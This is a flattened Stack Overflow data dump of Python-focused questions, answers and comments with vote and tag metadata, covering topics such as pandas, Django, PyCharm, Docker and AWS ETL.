has body: Assume I have projects deployment and cms with this structure: + deployment | + src | | + my_company | | | + __init__.py | | | + deployment | | | | + ... + cms | + src | | + my_company | | | + __init__.py | | | + cms | | | | + ... + ... My company has many projects that are distributed as single logical package my_company. This functionality ensures extend_path in each my_company/__init__.py file. https://docs.python.org/2/library/pkgutil.html#pkgutil.extend_path So then is possible import like this: from mp_company import cms from mp_company import deployment Problem comes when I mark all src directories as Sources Root in PyCharm. Because then PyCharm sees just only one package (probably the first it encounters) for the first level of imports in suggestions box. So if I want sugesstions for phrase import my_company. it appears only deployment. Strange is that for second level of imports all working right. So all suggestions for phrase import my_company.cms. suddenly appears after I write dot character after cms package name. Is there any option in settings to fix this problem?
score: 1
has answer: http://stackoverflow.com/a/49691681
tagged with: pythonpath
answer count: 1
downvote count: 0
tagged with: ide
upvote count: 1
has title: PyCharm PYTHONPATH with different parts of single logical package
favorite count: 0
type: Question

http://stackoverflow.com/comment/81532005
comment on: http://stackoverflow.com/q/47290678
type: QuestionComment
type: Comment
score: 0
has text: I think you should go for it. Try it for yourself, then if you get stuck, ask a specific question on what isn't working, and make sure to post an [MCVE]. Until then, this question is likely to attract opinions since it's just a "what do you think is best" kind of question.

http://stackoverflow.com/q/47287655
type: UnansweredQuestion
answer count: 1
tagged with: python
has title: How to find mean CTD profile from multiple CTD data files (row wise average of same variable in multiple data files) on python
score: 0
has answer: http://stackoverflow.com/a/51938112
has body: I have had a difficult time trying to write this question. I have multiple CTD data files (files that contain ocean temperature values with depth). I have plotted them onto one figure to see how temperature changes with depth. What I would like to do now is plot a mean profile (just one line) of the average temperature (amongst all the files) with depth. So like a row-wise average for each variable from the multiple data files. My data is in cnv format which is just a column of temperature values and another column of depth values. Each data set does not have the same number of depth and temperature values (i.e. not the same number of rows). This is what my code looks like just for lotting each file and I have attached the figure it produces: from seabird.cnv import fCNV import numpy as np import matplotlib.pyplot as plt from seabird.cnv import fCNV import glob filenames = sorted(glob.glob('dSBE19plus*.cnv')) #load multiple files filenames = filenames[0:8] fig1 = plt.figure() ax1 = fig1.add_subplot(111) for f in filenames: print(f) data = fCNV(f) # Assign variable names depth = data['prdM'] temp = data['tv290C'] salt = data['PSAL'] fluo = data['flECO-AFL'] turbidity = data['turbWETntu0'] ax1.plot(temp,depth) # Draw x label ax1.set_xlabel('Temperature (C)') ax1.xaxis.set_label_position('top') # this moves the label to the top ax1.xaxis.set_ticks_position('top') # this moves the ticks to the top # Draw y label ax1.set_ylim([0, 100]) ax1.set_ylabel('Depth (m)') ax1.set_ylim(ax1.get_ylim()[::-1]) ax1.set_xlim([15, 26]) fig1.savefig('ctd_plot.png') Figure of each CTD data set plotted I hope my question makes sense. Many thanks
type: Question
tagged with: rowwise
tagged with: mean

http://stackoverflow.com/q/47253958
has comment: http://stackoverflow.com/comment/81459980
type: UnansweredQuestion
tagged with: python
tagged with: random
answer count: 0
score: 0
has body: I'm trying to use sklearn.util.resample in order to choose randomly from an array of 10,000 images. Everytime I go through the list, I want to to choose one of those images, then pick a random number for that (already did that) and when I do use it, I want to remove it so I don't use it again. My current code: def displaySample(N, D): i = 0 plt.figure() plt.suptitle("test") bounds = int(math.ceil(int(np.sqrt(N)))) while i &lt; N: plt.subplot(bounds, bounds, i + 1) plt.axis('off') disp = D[random.randint(0,9)] squareR = int(np.sqrt(disp.shape[1])) temp = disp[random.randint(0, len(D))].reshape(squareR, squareR) ## HERE plt.imshow(temp, cmap='Greys', interpolation='nearest') i += 1 plt.show() I pointed out where I want to do this, I want to replace random.randint(0, len(D)) so I don't repick it. I think I'm supposed to use the argument replace=false but I couldn't find any examples of its usage so I don't know how to go about it.
tagged with: arrays
has comment: http://stackoverflow.com/comment/81458243
tagged with: scikit-learn
has title: How do you pick a random index in an array with replacement using sklearn?
has comment: http://stackoverflow.com/comment/81460007
type: Question

http://stackoverflow.com/comment/81562473
comment on: http://stackoverflow.com/q/47305922
type: Comment
type: QuestionComment
has text: Are you sure you want to use `assert` for this? The `assert` statement is used to verify that your program logic is correct, it's not for validating data. So the assertion should only get raised if something happens which should _never_ happen if your program logic is correct.
score: 0

http://stackoverflow.com/q/47362743
has comment: http://stackoverflow.com/comment/81683224
tagged with: orm
tagged with: mysql
tagged with: django
type: Question
type: UnansweredQuestion
tagged with: python
has title: Django 1.6 queryset
score: 0
tagged with: django-queryset
has comment: http://stackoverflow.com/comment/81681588
answer count: 0
has body: I have the following query and I am trying to set it in the Django 1.6 ORM SELECT * FROM pharol.product where name like "%PARACETAMOL%" or principe_active like "%PARACETAMOL%" order by case when name like 'PARACETAMOL%' then 0 else 1 end, name From the query I have already set the query but it is subtracting order by case when name like 'PARACETAMOL%' then 0 else 1 end, name. Any ideas?

http://stackoverflow.com/a/47249282
has comment: http://stackoverflow.com/comment/81448830
type: Answer
has comment: http://stackoverflow.com/comment/81448848
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/81448886
has body: The problem is that input returns a string so you need to convert the string to float like the following (and maybe add some input validation throw an error if a string is entered instead of a number) print("WELCOME TO SALARY-BALANCE CALCULATOR") def balance(salary,expense,bills): b=salary-expense-bills return b print("Enter your salary :") sal= float(input()) exp= float(input("Enter your personal expense ")) bil= float(input("Enter the bills amount")) bal=balance(sal,exp,bil) print("The balance amount is : %f" % bal) the best practice is to write a funciton that does the parsing like: def parse_input_number( string ): try: return float(string) except Exception as error: print('the input is not a valid number')
downvote count: 0
has comment: http://stackoverflow.com/comment/81448907
has comment: http://stackoverflow.com/comment/81448807
has comment: http://stackoverflow.com/comment/81448822
answers question: http://stackoverflow.com/q/47249223
has comment: http://stackoverflow.com/comment/81448814

http://stackoverflow.com/a/47273374
has body: Did you try m.append(str(remote))? It is possible there is a __str__ function implemented in remote object. Such magic function will handle object to string conversion when it's necessary. When you format the object it is necessary to convert to str but when you append it to a list it's not.
type: Answer
has comment: http://stackoverflow.com/comment/81497862
has comment: http://stackoverflow.com/comment/81497813
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81497989
answers question: http://stackoverflow.com/q/47273343
accepted answer of: http://stackoverflow.com/q/47273343

http://stackoverflow.com/comment/81647166
has text: It means there is no column a, check column names by `print (df.columns.tolist())`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47346051
score: 0

http://stackoverflow.com/q/47315448
has body: I am trying to create a function that receives a list and return another list with the repeated elements. For example for the input A = [2,2,1,1,3,2] (the list is not sorted) and the function would return result = [[1,1], [2,2,2]]. The result doesn't need to be sorted. I already did it in Wolfram Mathematica but now I have to translate it to python3, Mathematica has some functions like Select, Map and Split that makes it very simple without using long loops with a lot of instructions.
has answer: http://stackoverflow.com/a/47315563
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47315900
score: 2
tagged with: list
upvote count: 3
linked to: http://stackoverflow.com/q/4174941
has title: Group repeated elements of a list
has answer: http://stackoverflow.com/a/47316142
accepted answer: http://stackoverflow.com/a/47315900
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81581797
possible better answer: http://stackoverflow.com/a/47315563
has answer: http://stackoverflow.com/a/47315807
tagged with: python

http://stackoverflow.com/q/47224417
has comment: http://stackoverflow.com/comment/81399036
has answer: http://stackoverflow.com/a/47224583
has body: I want to make a class that contains collection of colored signs, and I want it to be like a static variable. But I can't call @classmethod from the class attribute, i.e. the following gives me error (NameError: name 'Pegs' is not defined): class Color: RED = '\033[31m' class Pegs: PEG = '\u25A0' PEGS = { 'red' : Pegs.generate_peg_from_color(Color.RED) } @classmethod def generate_peg_from_color(cls, color): return ''.join([color, Pegs.PEG]) Is it possible to call a function in a class attribute? Should I use static method decorator instead of class method? And why does it generates this error?
has comment: http://stackoverflow.com/comment/81398942
has title: Calling a class method in class attribute
type: UnansweredQuestion
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
score: 1
tagged with: python

http://stackoverflow.com/q/47291402
tagged with: wiki-markup
tagged with: python
type: Question
score: 2
answer count: 0
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: request
tagged with: confluence
has body: Currently I have 'n' URLs written in wiki markup language and now I need to migrate the webpage to Confluence. I am able to create a Confluence page using python (pyconfluence), and add up whatever text I want to write. Using request module, I am able to get the HTML content of the wiki page. Is there any means or better suggestion through which I can copy the contents of the wiki page and write it to Confluence page? Note: The wiki page has list &lt;li&gt; items and &lt;img&gt; images which I need to persist while creating the Confluence page.
favorite count: 0
has title: Wiki markup to confluence page using Python

http://stackoverflow.com/q/47308984
has answer: http://stackoverflow.com/a/47325088
favorite count: 0
type: Question
tagged with: google-maps
has body: I am doing a project about web crawler. I will got some point location include (Name, longitude, latitude) Then point all of them in Google Map(use Google Map API) First I got some data from the website API. -- (300points locaiton) Then use Python pandas DataFrame to export Json File df = pd.DataFrame(total, columns=['name','lat', 'lng']) df['lat'] = pd.to_numeric(df['lat']) df['lng'] = pd.to_numeric(df['lng']) jsonFile = df.to_json(orient='records') with open('map.json','w') as f: f.write(jsonFile) json structure look like this { "name":"臺中女中", "lat":24.13604, "lng":120.6778 } So here is the problem: How can I import those of point to Google Map use Google Map API I've tried to read the Google Map API Document, it just tell me to use map.data.loadGeoJson('map.json'); Finally i got wrong. and the Error Message uncaught exception: InvalidValueError: not a Feature or FeatureCollection Is Google Map API only support GeoJson? How can I change my json file to the GeoJson? or how can I modify my json file that can use in Google Map API. Thank you very much.
score: 6
has answer: http://stackoverflow.com/a/76890090
tagged with: python
has title: How to use Python with pandas exporting Data to GeoJSON for Google Map
upvote count: 6
type: AnsweredQuestion
answer count: 2
tagged with: pandas
possible better answer: http://stackoverflow.com/a/76890090
accepted answer: http://stackoverflow.com/a/47325088
tagged with: http://stackoverflow.com/tag/json
downvote count: 0

http://stackoverflow.com/a/47340343
has body: YESorNo.strip() != ("1" or "2") This will get evaluated in the following order; Brackets first YESorNo.strip() != "1" Then equality. You need to do either this; YESorNo.strip() not in ("1", "2") or not (YESorNo.strip() != "1" and YESorNo.strip() != "2")
downvote count: 0
type: Answer
score: 3
upvote count: 3
answers question: http://stackoverflow.com/q/47340314

http://stackoverflow.com/comment/81491592
type: AnswerComment
comment on: http://stackoverflow.com/a/47265743
type: Comment
has text: Looks good so far, once you validated that the file is uploaded you can use move_uploaded_file to move it to $file, usage: move_uploaded_file ( string $filename , string $destination ) so move_uploaded_file[$FILES['upload']['tmp_name'], $file)
score: 0

http://stackoverflow.com/comment/81595987
score: 0
has text: @SPSP Can you get rid of this problem?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47309983

http://stackoverflow.com/q/47355215
has answer: http://stackoverflow.com/a/47355326
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47355397
type: Question
tagged with: python
has title: delete whitespace in regular expression
has comment: http://stackoverflow.com/comment/81663490
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47355326
score: 1
upvote count: 1
has body: I'm learning python and also english. And I have a problem that might be easy, but I can't solve it. I have a folder of .txt's, I was able to extract by regular expression a sequence of 17 numbers of each one.I need to rename each file with the sequence I extracted from .txt import os import re path_txt = (r'C:\Users\usuario\Desktop\files') name_files = os.listdir(path_txt) for TXT in name_files: with open(path_txt + '\\' + TXT, "r") as content: search = re.search(r'(\d{5}\.?\d{4}\.?\d{3}\.?\d{2}\.?\d{2}\-?\d)', content.read()) if search is not None: print(search.group(0)) f = open(os.path.join( "Processes" , search.group(0) + ".txt"), "w") for line in content: print(line) f.write(line) f.close() there are .txt where the sequences appear with spaces between characters, and my regular expression can not find them (example: 00372.2004 .442.02.00-1, 00572.2008.872.02.00- 5) edit: They are serial numbers, were typed, so sometimes they appear with "." and "-" and other times without them. Sometimes spaces appear because of typos.
possible better answer: http://stackoverflow.com/a/47355397

http://stackoverflow.com/a/47371997
accepted answer of: http://stackoverflow.com/q/47371946
type: AcceptedAnswer
has body: You can filter the dict for keys that are actual fields of the model making use of the meta API: fields = set(f.name for f in Model._meta.get_fields()) dct = {k: v for k, v in dct.items() if k in fields} m = Model(**dct)
answers question: http://stackoverflow.com/q/47371946
type: Answer
score: 3
upvote count: 3
downvote count: 0

http://stackoverflow.com/comment/81571735
comment on: http://stackoverflow.com/a/47305177
type: Comment
type: AnswerComment
score: 1
has text: Nice one !! :-)

http://stackoverflow.com/comment/81683224
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47362743
has text: Show us also your query. Your question has an answer for 1.6 fortunately, (I recommend however to think about upgrade, because version 1.6 is now unsupported. I do it usually before adding new features to an old project. Django has no online documentation for 1.6 yet.)

http://stackoverflow.com/a/47262509
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: This is a slightly more efficient version of PM 2Ring's solution, replacing the call to product with a loop: from itertools import product def words_range(src, query): query = set(query) # Create a dict to store the word positions in src of each query word pos = {s: [] for s in query} for i, s in enumerate(src): if s in pos: pos[s].append(i) # Find all the ranges that hold all the query word # We'll iterate over the input string and keep track of # where each word appeared last last_pos = {} ranges = [] for i, word in enumerate(src): if word in query: last_pos[word] = i if len(last_pos) == len(query): ranges.append( (min(last_pos.values()), i) ) # Find the smallest range return min(ranges, key=lambda t:t[1] - t[0]) It's not quite linear time (because of the min(last_pos.values()) in the loop), but it's a step in the right direction. There's probably a way to get rid of the min call (that I can't think of right now), which would make this linear.
answers question: http://stackoverflow.com/q/47258802

http://stackoverflow.com/comment/81484920
score: 0
type: AnswerComment
has text: if question is incomplete then don't write an incomplete answer , just ask OP to complete his question , this answer won't help OP and others.
type: Comment
comment on: http://stackoverflow.com/a/47266733

http://stackoverflow.com/comment/81474250
type: QuestionComment
has text: To clarify: with ‘partition’ I meant a chunk of a dataset that is assigned to a particular worker in a distributed computation, cfr. what Apache Spark does with RDDs. In a previous implementation of my use case (using Spark), I observed that towards the end of the computation, more and more workers became idle, thus not optimally using the available workers. I now understand that Dask is able to dynamically steal tasks from workers, which solves this problem.
score: 0
comment on: http://stackoverflow.com/q/47242819
type: Comment

http://stackoverflow.com/q/47241949
has body: I have 2 dataframes that I would like to combine the following way: df1: I A B C 0 0.719391 0.091693 one 1 0.951499 0.83716 one 2 0.975212 0.224855 one 3 0.80762 0.031284 three 4 0.63319 0.342889 one 5 0.075102 0.899291 two 6 0.502843 0.773424 two 7 0.032285 0.242476 one 8 0.794938 0.607745 one df2: I Y C 0 1 one 1 2 two 2 3 three The result be: df_comb: I A B C Y 0 0.719391 0.091693 one 1 1 0.951499 0.83716 one 1 2 0.975212 0.224855 one 1 3 0.80762 0.031284 three 3 4 0.63319 0.342889 one 1 5 0.075102 0.899291 two 2 6 0.502843 0.773424 two 2 7 0.032285 0.242476 one 1 8 0.794938 0.607745 one 1 So every row in column Y of df_comb where the value of columns C is matched to a value in column C of df2 should have the corresponding value of column Y in df2 in it's column Y. I tried some join and merge without success. Does anyone knows how to do this without using a for loop? Thanks
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81434490
tagged with: pandas
tagged with: join
has comment: http://stackoverflow.com/comment/81434409
has title: Combine dataframes of different sizes without NAN's
tagged with: python
has comment: http://stackoverflow.com/comment/81434455
score: -1
duplicate of: http://stackoverflow.com/q/46647470
tagged with: merge
has answer: http://stackoverflow.com/a/47241959
accepted answer: http://stackoverflow.com/a/47241959
type: AnsweredQuestion
upvote count: 0
linked to: http://stackoverflow.com/q/46647470
has comment: http://stackoverflow.com/comment/81434415
answer count: 1

http://stackoverflow.com/q/47257078
has comment: http://stackoverflow.com/comment/81465545
has title: Plot Sum of column by values in other columns
upvote count: 2
downvote count: 0
tagged with: python
has body: I have a dataframe like the sample data below. I would like to create a plot showing the sum of the "Correct" column by each of the other 4 columns, when those columns have value 1. The columns are dummy variables, so a 1 in the "Chinese" column indicates that record was flagged as Chinese. So I'd like to create a bar plot showing sum of "Correct" for each dummy variable. Sample Data: Food Chinese Italian Food Stands \ 176 1 0 0 0 148 0 0 0 0 143 0 1 0 0 45 0 1 0 0 Correct 176 0 148 1 143 0 45 1
favorite count: 0
has answer: http://stackoverflow.com/a/47257626
score: 2
type: AnsweredQuestion
tagged with: pandas
has answer: http://stackoverflow.com/a/47257253
possible better answer: http://stackoverflow.com/a/47257253
has comment: http://stackoverflow.com/comment/81466122
accepted answer: http://stackoverflow.com/a/47257626
type: Question
answer count: 2

http://stackoverflow.com/comment/81569920
has text: Given the fact that the string is not limited to 6 characters but can be as @glibdud said anything i've increased it to 64. Now you can get the encoded first 6 bytes equal to some other string that has lower the amount of string characters that than alters the paradox equation
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/47308920

http://stackoverflow.com/a/47315583
has comment: http://stackoverflow.com/comment/81582233
has body: use this PyCUDA allows you to run code on GPU, here are docs But I must say is not a good idea just to mess around with it. Be careful of overheating. also another alternative is this PyGPU
type: Answer
has comment: http://stackoverflow.com/comment/81582075
has comment: http://stackoverflow.com/comment/81582355
has comment: http://stackoverflow.com/comment/81582251
answers question: http://stackoverflow.com/q/47315515
score: 0

http://stackoverflow.com/comment/81440854
has text: Wouldn't `zip` be enough?
type: Comment
comment on: http://stackoverflow.com/a/47244284
type: AnswerComment
score: 1

http://stackoverflow.com/comment/81628277
comment on: http://stackoverflow.com/a/47337902
type: Comment
has text: Thanks for the rundown. Should've been obvious
score: 0
type: AnswerComment

http://stackoverflow.com/q/47305804
has title: Parsing specific rows in a tab-separated file in python
has body: I have a tab-separated file with no format. The file format is just listed as FILE. When I open it with a text editor, it looks like: Job Wanted_VERB "_. 2000 1 1 Job Wanted_VERB "_. 2001 1 1 Job Wanted_VERB "_. 2002 5 5 Job Wanted_VERB "_. 2004 2 2 Job Wanted_VERB "_. 2005 2 2 Job Wanted_VERB "_. 2006 2 2 Job Wanted_VERB "_. 2007 1 1 Job Well Done 1917 1 1 Job Well Done 1930 3 2 Job Well Done 1937 1 1 Job Well Done 1940 5 4 Job Well Done 1941 3 3 Job Well Done 1942 1 1 Job Well Done 1943 2 2 Job Well Done 1944 1 1 Job Well Done 1945 1 1 Job Well Done 1946 3 3 Job Well Done 1948 1 1 Job Well Done 1949 4 4 Job Well Done 1950 1 1 Job Well Done 1951 3 2 Job Well Done 1952 6 4 Job Well Done 1953 9 5 Job Well Done 1954 6 4 Job Well Done 1955 5 5 .... .... where the first three columns are 3 gram sentence and the rest are related to the word frequency. It is a huge file, so I just want to parse the part that only contains the 3 gram word that I am looking for. For example, from the table above, I would like to parse only the Job Well Done part. Job Well Done 1917 1 1 Job Well Done 1930 3 2 Job Well Done 1937 1 1 Job Well Done 1940 5 4 Job Well Done 1941 3 3 Job Well Done 1942 1 1 Job Well Done 1943 2 2 Job Well Done 1944 1 1 Job Well Done 1945 1 1 Job Well Done 1946 3 3 Job Well Done 1948 1 1 Job Well Done 1949 4 4 Job Well Done 1950 1 1 Job Well Done 1951 3 2 Job Well Done 1952 6 4 Job Well Done 1953 9 5 Job Well Done 1954 6 4 Job Well Done 1955 5 5 I am currently doing this to parse the whole file and put it into a list: with open(file, 'rt', encoding='UTF8') as input: z = [line.strip().split('\t') for line in input] Any help?
type: Question
has answer: http://stackoverflow.com/a/47306095
type: UnansweredQuestion
answer count: 1
tagged with: string-parsing
score: 0
tagged with: python

qtwebengine
tags question: http://stackoverflow.com/q/47381962
tag name: qtwebengine
type: Tag

http://stackoverflow.com/a/47332735
downvote count: 0
has comment: http://stackoverflow.com/comment/81616612
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81617232
accepted answer of: http://stackoverflow.com/q/47332314
type: Answer
answers question: http://stackoverflow.com/q/47332314
has body: See GridSpec with Varying Cell Sizes. You can add another column in the gridspec which takes up the space of the labels of the upper plot. If you afterwards call tight layout, you do not need to care about its width, it can be 0 size, gs1 = gridspec.GridSpec(2, 2, width_ratios=[0, 1]) ax1 = fig.add_subplot(gs1[0,1]) ax2 = fig.add_subplot(gs1[1,0:]) # ... fig.tight_layout()
upvote count: 2
score: 2

http://stackoverflow.com/comment/81541552
comment on: http://stackoverflow.com/a/47293941
type: AnswerComment
has text: @kne. Either way, my answer is the correct solution. Did you actually try it?
score: 0
type: Comment

http://stackoverflow.com/comment/81745208
score: 0
type: Comment
has text: i don't need setters, i need to detect value change in each variable and them update the qlcdnumber with the new value
type: AnswerComment
comment on: http://stackoverflow.com/a/47382743

http://stackoverflow.com/comment/81590912
score: 0
type: AnswerComment
has text: That's the idea. I'm glad I helped
comment on: http://stackoverflow.com/a/47319027
type: Comment

http://stackoverflow.com/a/47281913
has comment: http://stackoverflow.com/comment/81514122
has comment: http://stackoverflow.com/comment/81514709
has body: You are missing a few components to your sort: 1- you are sorting in reverse order. 2- you must limit your sort to len(a)-1 3- when the swap contition is not met, you must increment the index. 4- you are changing the index in a for loop... you must use a while loop here. def mysort(a): idx = 0 while idx &lt; len(a)-1: if a[idx] &lt; a[(idx+1)]: a[idx] ,a[idx+1] = a[idx+1], a[idx] idx = 0 else: idx += 1 return a a = [2,3,4] print(mysort(a)) tests: a = [2,3,4] print(mysort(a)) a = [0, 1, 4, 3, 6, 2] print(mysort(a)) a = [6, 4, 2] print(mysort(a)) a = [-1, -1, -1, 1] print(mysort(a)) output: [4, 3, 2] [6, 4, 3, 2, 1, 0] [6, 4, 2] [1, -1, -1, -1] IDK what sort it is, but it looks like a bubble sort where you start again and again at the very beginning of the list
type: Answer
has comment: http://stackoverflow.com/comment/81514470
score: 0
answers question: http://stackoverflow.com/q/47281799

http://stackoverflow.com/comment/81560726
has text: @DanielRoseman yea "key" is the right word I guess. I want to add another Items in the "user" key / list.
comment on: http://stackoverflow.com/q/47305065
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81634681
comment on: http://stackoverflow.com/q/47341170
has text: Sorry for my english. I am trying to choose option 3, and have the loop run 5 times, and then exit or go back to main menu
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81768188
has text: Thanks for clearing that up, i may have been unnecessary cautious on the parsing part.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47370907

http://stackoverflow.com/q/47246143
has comment: http://stackoverflow.com/comment/81442804
has comment: http://stackoverflow.com/comment/81442664
accepted answer: http://stackoverflow.com/a/47246317
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47246317
answer count: 2
score: 2
upvote count: 2
has body: I have currently a dataframe I created by scraping google news headlines. One of my columns is "Time", which refers to time of publication of an article. Unfortunately, for recent articles, google news uses a "relative" date, e.g., 6 hours ago, or 1 day ago instead of Nov 1, 2017. I really want to convert these relative dates to be consistent with the other entries (so they also say Nov 12, 2017, for example), but I have no idea where to even start on this. My thoughts are to maybe make a variable which represents todays date, and then do some kind of search through the dataframe for stuff which doesn't match my format, and then to subtract those relative times with the current date. I would also have to make some sort of filter for stuff which has "hours ago" and just have those equal the current date. I don't really want a solution but rather a general idea of what to read to try to solve this. Am I supposed to try using numpy? Example of some rows: Publication Time Headline 0 The San Diego Union-Tribune 6 hours ago I am not opposed to new therapeutic modalities... 1 Devon Live 13 hours ago If you're looking for a bargain this Christmas... 15 ABS-CBN News 1 day ago Now, Thirdy has a chance to do something that ... 26 New York Times Nov 2, 2017 Shepherds lead their sheep through the centre ...
possible better answer: http://stackoverflow.com/a/47246582
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47246582
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81442602
has comment: http://stackoverflow.com/comment/81442779
tagged with: pandas
has title: changing relative times to actual dates in a pandas dataframe
tagged with: datetime
tagged with: dataframe

http://stackoverflow.com/q/47235988
score: 0
tagged with: filesystems
answer count: 1
has body: I've implemented a filesystem using pyfilesystem2 and now I want to test it. I have my own unit test cases, but pyfilesystem2 provides its own test cases, which I'd be happy to run, but... I have no idea how. The documentation only says how to create a tester class, but not a word on how to invoke the testing - see for yourself. help() function doesn't help as well - there are almost no docstrings in there. Ok, but there is a list of available methods, right? Yeah, I tried creating a tester object and then invoking its test_basic() method, but it fails because of some internal errors... (env) qvasic@qzenbook:~/code/filesyst$ python3 dropboxfs.py Traceback (most recent call last): File "dropboxfs.py", line 630, in &lt;module&gt; t.test_basic() File "/mnt/d/code/filesyst/env/lib/python3.4/site-packages/fs/test.py", line 349, in test_basic repr(self.fs) AttributeError: 'TestDropBoxFS' object has no attribute 'fs' (env) qvasic@qzenbook:~/code/filesyst$ python3 dropboxfs.py Traceback (most recent call last): File "dropboxfs.py", line 629, in &lt;module&gt; t.test_basic() File "/mnt/d/code/filesyst/env/lib/python3.4/site-packages/fs/test.py", line 349, in test_basic repr(self.fs) AttributeError: 'TestDropBoxFS' object has no attribute 'fs' (I know there is an implementation for DropBox, it's just an excercise for me.) Googling doesn't help either, because everything points back to the pyfilesystem2 documentation, which is lacking... Can anybody give me a hint what to do? How do I run those test cases? PS. Coming from C/C++ languages to Python is frustrating in terms of documentation. May be I just don't understand the paradigm, but it looks lacking A LOT.
has title: pyfilesystem2, FSTestCases: testing a filesystem
type: Question
tagged with: testing
accepted answer: http://stackoverflow.com/a/47248221
tagged with: python
has answer: http://stackoverflow.com/a/47248221
type: AnsweredQuestion

http://stackoverflow.com/comment/81401351
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47223764
has text: I've added some code to my answer that illustrates Antti Haapala's explanation.
score: 0

http://stackoverflow.com/q/47245515
tagged with: etl
has title: ETL Data from Amazon DMS to S3 to Redshift
downvote count: 0
upvote count: 1
tagged with: amazon-web-services
has answer: http://stackoverflow.com/a/70262647
has answer: http://stackoverflow.com/a/47267862
answer count: 3
tagged with: amazon-redshift
tagged with: amazon-s3
has answer: http://stackoverflow.com/a/47273320
has comment: http://stackoverflow.com/comment/89806932
score: 1
has comment: http://stackoverflow.com/comment/81444214
tagged with: python
has comment: http://stackoverflow.com/comment/81452254
favorite count: 0
type: Question
has body: I am currently building a data lake within S3 and have successfully moved data from a mysql DB to S3 using DMS. Within DMS I chose the option 'Migrate existing data and replicate ongoing changes'. I transformed the data to csv, but in the future will probably choose parquet. This method creates an initial csv file that has all the raw data from the database tables. It then creates subsequent csv files with inserts, deletes, updates. Now I am looking for a strategy to copy the data from S3 into Redshift. I am looking for a strategy to copy the bulk data and copy the continual changes from S3 into Redshift. I will likely need to aggregate and summarize much of this data. Preferably I'll use AWS Glue, which uses Python. This ETL process will have to read from csv files in S3 and know to ignore files that have already been processed. How can I facilitate this? Any ideas are welcome. Ideally I'm hoping for some Python (or Java) scripts that precisely do the process as described. Thanks.
type: UnansweredQuestion

http://stackoverflow.com/a/47335195
type: Answer
has body: x = [] for i in range(3): x.append('a' + str(i)) x.append('a' + str(i)) Output ['a0', 'a0', 'a1', 'a1', 'a2', 'a2']
score: 2
downvote count: 0
upvote count: 2
answers question: http://stackoverflow.com/q/47335170

http://stackoverflow.com/a/47246108
answers question: http://stackoverflow.com/q/47245932
has comment: http://stackoverflow.com/comment/81452365
type: Answer
has comment: http://stackoverflow.com/comment/81505135
has comment: http://stackoverflow.com/comment/81459699
has body: The trouble is that your docker.py script is expecting input. As @Klaus D. was commenting, for the raw_input command you need to be in an interactive shell. When you're running inside a docker container, there is no interactive shell, so when you run raw_input it just gets an unexpected end to that command hence the error you receive. Once you start the container, from a user perspective it is like a little virtual machine, the only interaction you can have with it is through methods that you have set up within the container itself. Or else to enter the container using: docker exec -it CONTAINER_HASH /bin/bash from there you've got an interactive shell and if you log in like that THEN you can run python /docker.py and it works as you would expect.
score: 1
accepted answer of: http://stackoverflow.com/q/47245932
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81457100
has comment: http://stackoverflow.com/comment/81452795
upvote count: 1

http://stackoverflow.com/q/47275319
has title: Python list manipulation and comparison of lists
upvote count: 3
has answer: http://stackoverflow.com/a/47275408
downvote count: 2
has answer: http://stackoverflow.com/a/47275347
favorite count: 0
has body: I am having a bit of trouble working out some code to update ranking points for player scores in a game with the use of lists. The first list I have is a list of positions that the players came in, for example: results = [P2, P4, P3, P1, P5, P6] This list is in descending order (P2 came first, P4 came second etc) and is determined by other code that I have in the program. The second list I have is a list of ranking points that I want to assign to each player based on their position: rankingPoints = [100, 50, 25, 10, 5, 0] (P2 would get 100, P4 would get 50, etc) Lastly, I have a third list that contains nested lists for each player: playerRank = [[P1], [P2], [P3], [P4], [P5], [P6]] Basically what I'm wanting to do is initialize each player in the 'playerRank' list with '0' ranking score (The players are read into the list from a csv file and I cannot initialize them with '0' manually) so that it looks something like this: [[P1, 0], [P2, 0], [P3, 0]] etc. Then based on their position in the game, add the appropriate amount of ranking score to their current ranking score (there will be multiple games so ranking score will be constantly added on top of current ranking score for players), the desired outcome will look something like: playerRank = [[P1, 10] [P2, 100], [P3, 25], [P4, 50], [P5, 5], [P6, 0]] Any help on this would be greatly appreciated as I am new to programming and struggling to work out the code and logic behind it Thanks
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81501932
score: 1
accepted answer: http://stackoverflow.com/a/47275408
tagged with: compare
possible better answer: http://stackoverflow.com/a/47275347
tagged with: python
type: Question
tagged with: list
answer count: 2

http://stackoverflow.com/q/47276983
tagged with: selenium-firefoxdriver
tagged with: selenium
has body: This runs perfectly: driver = webdriver.Firefox().get('https://www.facebook.com') But this gives an error: driver = webdriver.Firefox() driver.get('https://www.facebook.com') WebDriverException: Message: Failed to decode response from marionette
tagged with: selenium-webdriver
score: 0
has comment: http://stackoverflow.com/comment/81505057
has title: Selenium does not work perfectly
tagged with: python
type: Question
has comment: http://stackoverflow.com/comment/81506358
answer count: 0
has comment: http://stackoverflow.com/comment/81505559
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/47073748

http://stackoverflow.com/q/47346048
answer count: 1
accepted answer: http://stackoverflow.com/a/47348590
